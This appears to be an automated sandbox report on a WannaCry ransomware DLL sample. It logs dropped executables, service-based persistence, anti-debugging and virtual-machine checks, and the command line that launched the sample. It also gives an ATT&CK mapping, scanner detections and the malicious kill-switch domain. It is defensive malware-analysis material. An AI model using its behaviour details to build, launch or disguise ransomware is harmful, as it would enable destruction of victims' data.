Source: C:\Windows\tasksche.exe	Automated click: OK
Source: C:\Windows\tasksche.exe	Automated click: OK
Source: C:\Windows\tasksche.exe	Automated click: OK
Source: C:\Windows\tasksche.exe	Automated click: OK
Source: C:\Windows\tasksche.exe	Automated click: OK
Source: C:\Windows\tasksche.exe	Automated click: OK
Source: C:\Windows\tasksche.exe	Automated click: OK
Source: C:\Windows\tasksche.exe	Automated click: OK
Source: C:\Windows\tasksche.exe	Automated click: OK
Source: C:\Windows\tasksche.exe	Automated click: OK
Source: C:\Windows\tasksche.exe	Automated click: OK
Source: C:\Windows\tasksche.exe	Automated click: OK
Source: C:\Windows\tasksche.exe	Automated click: OK
Source: C:\Windows\tasksche.exe	Automated click: OK

Source: C:\Windows\tasksche.exe

File opened: C:\Windows\SysWOW64\riched32.dll

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: QbNF1cvpa0.dll

Static file information: File size 5267459 > 1048576

Source: QbNF1cvpa0.dll

Static PE information: Raw size of .rsrc is bigger than: 0x100000 < 0x501000

Source:

Source: C:\Windows\tasksche.exe	Code function: 9_2_0041FAE1 push ecx; ret		9_2_0041FAF4
Source: C:\Windows\tasksche.exe	Code function: 9_2_0041A4DC push eax; ret		9_2_0041A4FA

Source: C:\Windows\tasksche.exe

Code function: 9_2_0040CEB6 LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,

9_2_0040CEB6

Source: C:\Windows\tasksche.exe

File created: C:\Windows\__tmp_rar_sfx_access_check_5452750

Jump to behavior

Persistence and Installation Behavior

Drops executables to the windows directory (C:\Windows) and starts them

Source: C:\Windows\mssecsvr.exe	Executable created and started: C:\WINDOWS\tasksche.exe			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Executable created and started: C:\WINDOWS\mssecsvr.exe			Jump to behavior

Source: C:\Windows\mssecsvr.exe	File created: C:\WINDOWS\qeriuwjhrf (copy)	Jump to dropped file
Source: C:\Windows\tasksche.exe	File created: C:\Windows\eee.exe	Jump to dropped file
Source: C:\Windows\mssecsvr.exe	File created: C:\Windows\tasksche.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	File created: C:\Windows\mssecsvr.exe	Jump to dropped file

Source: C:\Windows\mssecsvr.exe	File created: C:\WINDOWS\qeriuwjhrf (copy)	Jump to dropped file
Source: C:\Windows\tasksche.exe	File created: C:\Windows\eee.exe	Jump to dropped file
Source: C:\Windows\mssecsvr.exe	File created: C:\Windows\tasksche.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	File created: C:\Windows\mssecsvr.exe	Jump to dropped file

Source: C:\Windows\mssecsvr.exe

Code function: 5_2_00407C40 sprintf,OpenSCManagerA,InternetCloseHandle,CreateServiceA,CloseServiceHandle,StartServiceA,CloseServiceHandle,CloseServiceHandle,

5_2_00407C40

Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\mssecsvr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\mssecsvr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\mssecsvr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\mssecsvr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\mssecsvr.exe TID: 6448	Thread sleep count: 1160 > 30	Jump to behavior
Source: C:\Windows\mssecsvr.exe TID: 6448	Thread sleep time: -116000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 12488	Thread sleep time: -30000s >= -30000s

Source: C:\Windows\tasksche.exe	Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess
Source: C:\Windows\tasksche.exe	Evasive API call chain: GetModuleFileName,DecisionNodes,Sleep

Source: C:\Windows\tasksche.exe

Dropped PE file which has not been started: C:\Windows\eee.exe

Jump to dropped file

Source: C:\Windows\mssecsvr.exe

Window / User API: threadDelayed 1160

Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Source: C:\Windows\tasksche.exe	Code function: 9_2_00409476 FindFirstFileW,FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,		9_2_00409476
Source: C:\Windows\tasksche.exe	Code function: 9_2_0040DE5E SendDlgItemMessageW,DestroyIcon,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SetDlgItemTextW,SHGetFileInfoW,SendDlgItemMessageW,FindFirstFileW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,FindClose,_swprintf,SetDlgItemTextW,SendDlgItemMessageW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,_swprintf,SetDlgItemTextW,		9_2_0040DE5E

Source: C:\Windows\System32\loaddll32.exe

Thread delayed: delay time: 120000

Jump to behavior

Source: C:\Windows\tasksche.exe

API call chain: ExitProcess graph end node

Source: tasksche.exe, 0000000A.00000003.558512964.00000000007B9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: tasksche.exe, 0000000A.00000003.558156516.00000000007EC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}efbSS+
Source: tasksche.exe, 00000009.00000003.867895763.00000000050A4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Folder Enum Mode_VMware_SATA_CD0
Source: tasksche.exe, 00000009.00000003.471970480.000000000508C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: War&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4ad
Source: tasksche.exe, 0000000A.00000003.601823580.00000000007EC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: {000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}efbSS+
Source: svchost.exe, 0000000E.00000002.972422342.000001F19B802000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: HvHostWdiSystemHostScDeviceEnumWiaRpctrkwksAudioEndpointBuilderhidservdot3svcDsSvcfhsvcWPDBusEnumsvsvcwlansvcEmbeddedModeirmonSensorServicevmicvssNgcSvcsysmainDevQueryBrokerStorSvcvmickvpexchangevmicshutdownvmicguestinterfacevmicvmsessionNcbServiceNetmanDeviceAssociationServiceTabletInputServicePcaSvcIPxlatCfgSvcCscServiceUmRdpService
Source: tasksche.exe, 00000009.00000003.867704002.000000000510C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}C
Source: tasksche.exe, 00000009.00000003.468751704.000000000508C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4ad
Source: tasksche.exe, 0000000A.00000003.558785712.00000000007EC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: {STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}efbSS+
Source: tasksche.exe, 0000000A.00000003.469723765.00000000007EC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OwHwy#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}efbSS+
Source: tasksche.exe, 00000009.00000003.867704002.000000000510C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}y
Source: tasksche.exe, 0000000A.00000003.615342219.00000000007B6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}{u
Source: svchost.exe, 0000000E.00000002.972641158.000001F19B830000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: tasksche.exe, 00000009.00000003.867704002.000000000510C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}

Source: C:\Windows\tasksche.exe

Code function: 9_2_0041E6DE IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

9_2_0041E6DE

Source: C:\Windows\tasksche.exe

Code function: 9_2_0040CEB6 LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,

9_2_0040CEB6

Source: C:\Windows\tasksche.exe	Code function: 9_2_004234CE SetUnhandledExceptionFilter,	9_2_004234CE
Source: C:\Windows\tasksche.exe	Code function: 9_2_0041E6DE IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	9_2_0041E6DE
Source: C:\Windows\tasksche.exe	Code function: 9_2_0041FFDB _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	9_2_0041FFDB
Source: C:\Windows\tasksche.exe	Code function: 9_2_00423F89 __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,RtlUnwind,	9_2_00423F89

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\QbNF1cvpa0.dll",#1

Jump to behavior

Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Windows\tasksche.exe	Code function: GetLocaleInfoW,GetNumberFormatW,		9_2_0040D155
Source: C:\Windows\tasksche.exe	Code function: GetLocaleInfoA,		9_2_00425EF0

Source: C:\Windows\tasksche.exe

Code function: 9_2_0040CA52 cpuid

9_2_0040CA52

Source: C:\Windows\tasksche.exe

Code function: 9_2_0040FEF0 OleInitialize,_memset,GetCommandLineW,OpenFileMappingW,MapViewOfFile,UnmapViewOfFile,CloseHandle,GetModuleFileNameW,SetEnvironmentVariableW,SetEnvironmentVariableW,GetLocalTime,_swprintf,SetEnvironmentVariableW,GetModuleHandleW,LoadIconW,LoadBitmapW,DialogBoxParamW,DeleteObject,DeleteObject,DeleteObject,CloseHandle,Sleep,OleUninitialize,

9_2_0040FEF0

Source: C:\Windows\tasksche.exe

Code function: 9_2_00409C06 GetVersionExW,

9_2_00409C06

Source: C:\Windows\tasksche.exe	Directory queried: C:\Users\user\Documents			Jump to behavior
Source: C:\Windows\tasksche.exe	Directory queried: C:\Users\user\Documents			Jump to behavior

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	2 Native API	4 Windows Service	1 Access Token Manipulation	1 Deobfuscate/Decode Files or Information	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	1 Ingress Tool Transfer	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	4 Windows Service	2 Obfuscated Files or Information	LSASS Memory	12 File and Directory Discovery	Remote Desktop Protocol	1 Data from Local System	Exfiltration Over Bluetooth	11 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	2 Service Execution	Logon Script (Windows)	11 Process Injection	2 Software Packing	Security Account Manager	43 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	3 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	1 File Deletion	NTDS	1 Network Share Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	14 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	121 Masquerading	LSA Secrets	121 Security Software Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	21 Virtualization/Sandbox Evasion	Cached Domain Credentials	21 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	1 Access Token Manipulation	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	11 Process Injection	Proc Filesystem	1 Remote System Discovery	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	1 Rundll32	/etc/passwd and /etc/shadow	System Network Connections Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
QbNF1cvpa0.dll	90%	Virustotal		Browse
QbNF1cvpa0.dll	90%	ReversingLabs	Win32.Ransomware.WannaCry
QbNF1cvpa0.dll	100%	Avira	TR/Rasftuby.cpsmr
QbNF1cvpa0.dll	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Windows\mssecsvr.exe	100%	Avira	TR/Rasftuby.cpsmr
C:\Windows\tasksche.exe	100%	Avira	TR/Rasftuby.cpsmr
C:\Windows\mssecsvr.exe	100%	Joe Sandbox ML
C:\Windows\eee.exe	100%	Joe Sandbox ML
C:\WINDOWS\qeriuwjhrf (copy)	88%	Virustotal		Browse
C:\WINDOWS\qeriuwjhrf (copy)	69%	Metadefender		Browse
C:\WINDOWS\qeriuwjhrf (copy)	88%	ReversingLabs	Win32.Ransomware.WannaCry
C:\Windows\eee.exe	10%	Virustotal		Browse
C:\Windows\eee.exe	6%	Metadefender		Browse
C:\Windows\eee.exe	12%	ReversingLabs
C:\Windows\mssecsvr.exe	93%	ReversingLabs	Win32.Ransomware.WannaCry
C:\Windows\tasksche.exe	69%	Metadefender		Browse
C:\Windows\tasksche.exe	88%	ReversingLabs	Win32.Ransomware.WannaCry

Unpacked PE Files

Source	Detection	Scanner	Label	Download
8.2.mssecsvr.exe.400000.0.unpack	100%	Avira	TR/Wanna.otiki	Download File
5.0.mssecsvr.exe.400000.2.unpack	100%	Avira	TR/Rasftuby.cpsmr	Download File
7.0.mssecsvr.exe.400000.6.unpack	100%	Avira	TR/Rasftuby.cpsmr	Download File
8.0.mssecsvr.exe.400000.0.unpack	100%	Avira	TR/Rasftuby.cpsmr	Download File
7.0.mssecsvr.exe.400000.4.unpack	100%	Avira	TR/Rasftuby.cpsmr	Download File
7.0.mssecsvr.exe.400000.0.unpack	100%	Avira	TR/Rasftuby.cpsmr	Download File
5.0.mssecsvr.exe.400000.0.unpack	100%	Avira	TR/Rasftuby.cpsmr	Download File
7.2.mssecsvr.exe.400000.0.unpack	100%	Avira	TR/Rasftuby.cpsmr	Download File
5.0.mssecsvr.exe.400000.6.unpack	100%	Avira	TR/Rasftuby.cpsmr	Download File
7.0.mssecsvr.exe.400000.2.unpack	100%	Avira	TR/Rasftuby.cpsmr	Download File
5.0.mssecsvr.exe.400000.4.unpack	100%	Avira	TR/Rasftuby.cpsmr	Download File
5.2.mssecsvr.exe.400000.0.unpack	100%	Avira	TR/Rasftuby.cpsmr	Download File

Domains

Source	Detection	Scanner	Label	Link
www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com	10%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label
http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.comJ	0%	URL Reputation	safe
http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com	100%	URL Reputation	malware
http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com/	100%	URL Reputation	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
